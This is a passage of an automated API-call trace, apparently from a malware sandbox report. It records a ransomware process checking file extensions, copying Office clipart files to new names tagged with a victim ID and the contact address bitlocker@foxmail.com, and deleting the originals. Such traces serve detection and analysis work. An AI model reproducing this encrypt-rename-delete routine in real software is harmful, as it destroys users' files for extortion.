returned -1 [0199.990] lstrlenW (lpString=".docx") returned 5 [0199.990] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.990] lstrlenW (lpString=".pdf") returned 4 [0199.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.990] lstrlenW (lpString=".xls") returned 4 [0199.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.990] lstrlenW (lpString=".xlsx") returned 5 [0199.990] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.990] lstrlenW (lpString=".ppt") returned 4 [0199.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.990] lstrlenW (lpString=".zip") returned 4 [0199.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.990] lstrlenW (lpString=".rar") returned 4 [0199.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.990] lstrlenW (lpString=".bz2") returned 4 [0199.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.990] lstrlenW (lpString=".7z") returned 3 [0199.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.990] lstrlenW (lpString=".dbf") returned 4 [0199.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.991] lstrlenW (lpString=".1cd") returned 4 [0199.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.991] lstrlenW (lpString=".jpg") returned 4 [0199.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.991] lstrlenW (lpString=".doc") returned 4 [0199.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString=".docx") returned 5 [0199.991] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.991] lstrlenW (lpString=".pdf") returned 4 [0199.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString=".xls") returned 4 [0199.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.991] lstrlenW (lpString=".xlsx") returned 5 [0199.991] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.991] lstrlenW (lpString=".ppt") returned 4 [0199.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.991] lstrlenW (lpString=".zip") returned 4 [0199.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.991] lstrlenW (lpString=".rar") returned 4 [0199.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString=".bz2") returned 4 [0199.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.991] lstrlenW (lpString=".7z") returned 3 [0199.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.991] lstrlenW (lpString=".dbf") returned 4 [0199.992] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.992] lstrlenW (lpString=".1cd") returned 4 [0199.992] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF") returned 63 [0199.992] lstrlenW (lpString=".jpg") returned 4 [0199.992] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.992] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.992] lstrlenW (lpString="J0188679.WMF") returned 12 [0199.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.992] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=13162) returned 1 [0199.992] CloseHandle (hObject=0x1cc) returned 1 [0199.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 0x20 [0199.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.993] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.993] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.993] GetLastError () returned 0x0 [0199.993] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x336a, lpOverlapped=0x0) returned 1 [0199.995] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3370, lpOverlapped=0x0) returned 1 [0199.996] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.996] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.996] SetEndOfFile (hFile=0x1c8) returned 1 [0199.996] CloseHandle (hObject=0x1c8) returned 1 [0199.996] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.996] SetEndOfFile (hFile=0x1cc) returned 1 [0199.997] CloseHandle (hObject=0x1cc) returned 1 [0199.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 1 [0199.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.997] lstrlenW (lpString=".doc") returned 4 [0199.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString=".docx") returned 5 [0199.998] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.998] lstrlenW (lpString=".pdf") returned 4 [0199.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString=".xls") returned 4 [0199.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.998] lstrlenW (lpString=".xlsx") returned 5 [0199.998] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.998] lstrlenW (lpString=".ppt") returned 4 [0199.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.998] lstrlenW (lpString=".zip") returned 4 [0199.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.998] lstrlenW (lpString=".rar") returned 4 [0199.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString=".bz2") returned 4 [0199.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString=".7z") returned 3 [0199.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.998] lstrlenW (lpString=".dbf") returned 4 [0199.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.998] lstrlenW (lpString=".1cd") returned 4 [0199.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.998] lstrlenW (lpString=".jpg") returned 4 [0199.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.998] lstrlenW (lpString=".doc") returned 4 [0199.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.999] lstrlenW (lpString=".docx") returned 5 [0199.999] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.999] lstrlenW (lpString=".pdf") returned 4 [0199.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.999] lstrlenW (lpString=".xls") returned 4 [0199.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.999] lstrlenW (lpString=".xlsx") returned 5 [0199.999] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.999] lstrlenW (lpString=".ppt") returned 4 [0199.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.999] lstrlenW (lpString=".zip") returned 4 [0199.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.999] lstrlenW (lpString=".rar") returned 4 [0199.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.999] lstrlenW (lpString=".bz2") returned 4 [0199.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.999] lstrlenW (lpString=".7z") returned 3 [0199.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.999] lstrlenW (lpString=".dbf") returned 4 [0199.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.999] lstrlenW (lpString=".1cd") returned 4 [0199.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0199.999] lstrlenW (lpString=".jpg") returned 4 [0199.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.000] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.000] lstrlenW (lpString="J0195248.WMF") returned 12 [0200.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0200.000] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7332) returned 1 [0200.000] CloseHandle (hObject=0x1cc) returned 1 [0200.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 0x20 [0200.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0200.000] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.001] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0200.001] GetLastError () returned 0x0 [0200.001] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1ca4, lpOverlapped=0x0) returned 1 [0200.003] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0200.004] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.004] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.004] SetEndOfFile (hFile=0x1c8) returned 1 [0200.004] CloseHandle (hObject=0x1c8) returned 1 [0200.004] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.004] SetEndOfFile (hFile=0x1cc) returned 1 [0200.005] CloseHandle (hObject=0x1cc) returned 1 [0200.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 1 [0200.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.005] lstrlenW (lpString=".doc") returned 4 [0200.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString=".docx") returned 5 [0200.006] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0200.006] lstrlenW (lpString=".pdf") returned 4 [0200.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString=".xls") returned 4 [0200.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.006] lstrlenW (lpString=".xlsx") returned 5 [0200.006] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0200.006] lstrlenW (lpString=".ppt") returned 4 [0200.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.006] lstrlenW (lpString=".zip") returned 4 [0200.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.006] lstrlenW (lpString=".rar") returned 4 [0200.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString=".bz2") returned 4 [0200.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString=".7z") returned 3 [0200.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.006] lstrlenW (lpString=".dbf") returned 4 [0200.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.006] lstrlenW (lpString=".1cd") returned 4 [0200.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.006] lstrlenW (lpString=".jpg") returned 4 [0200.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.006] lstrlenW (lpString=".doc") returned 4 [0200.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.007] lstrlenW (lpString=".docx") returned 5 [0200.007] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0200.007] lstrlenW (lpString=".pdf") returned 4 [0200.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.007] lstrlenW (lpString=".xls") returned 4 [0200.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.007] lstrlenW (lpString=".xlsx") returned 5 [0200.007] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0200.007] lstrlenW (lpString=".ppt") returned 4 [0200.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.007] lstrlenW (lpString=".zip") returned 4 [0200.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.007] lstrlenW (lpString=".rar") returned 4 [0200.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.007] lstrlenW (lpString=".bz2") returned 4 [0200.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.007] lstrlenW (lpString=".7z") returned 3 [0200.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.007] lstrlenW (lpString=".dbf") returned 4 [0200.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.007] lstrlenW (lpString=".1cd") returned 4 [0200.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0200.007] lstrlenW (lpString=".jpg") returned 4 [0200.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.008] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.008] lstrlenW (lpString="J0195254.WMF") returned 12 [0200.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0200.008] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4534) returned 1 [0200.008] CloseHandle (hObject=0x1cc) returned 1 [0200.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 0x20 [0200.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0200.008] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.008] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0200.009] GetLastError () returned 0x0 [0200.009] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x11b6, lpOverlapped=0x0) returned 1 [0200.011] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0200.011] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.012] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.012] SetEndOfFile (hFile=0x1c8) returned 1 [0200.012] CloseHandle (hObject=0x1c8) returned 1 [0200.012] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.012] SetEndOfFile (hFile=0x1cc) returned 1 [0200.013] CloseHandle (hObject=0x1cc) returned 1 [0200.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0200.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 1 [0200.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.013] lstrlenW (lpString=".doc") returned 4 [0200.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.013] lstrlenW (lpString=".docx") returned 5 [0200.013] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0200.013] lstrlenW (lpString=".pdf") returned 4 [0200.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.013] lstrlenW (lpString=".xls") returned 4 [0200.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.013] lstrlenW (lpString=".xlsx") returned 5 [0200.013] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0200.013] lstrlenW (lpString=".ppt") returned 4 [0200.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.014] lstrlenW (lpString=".zip") returned 4 [0200.014] 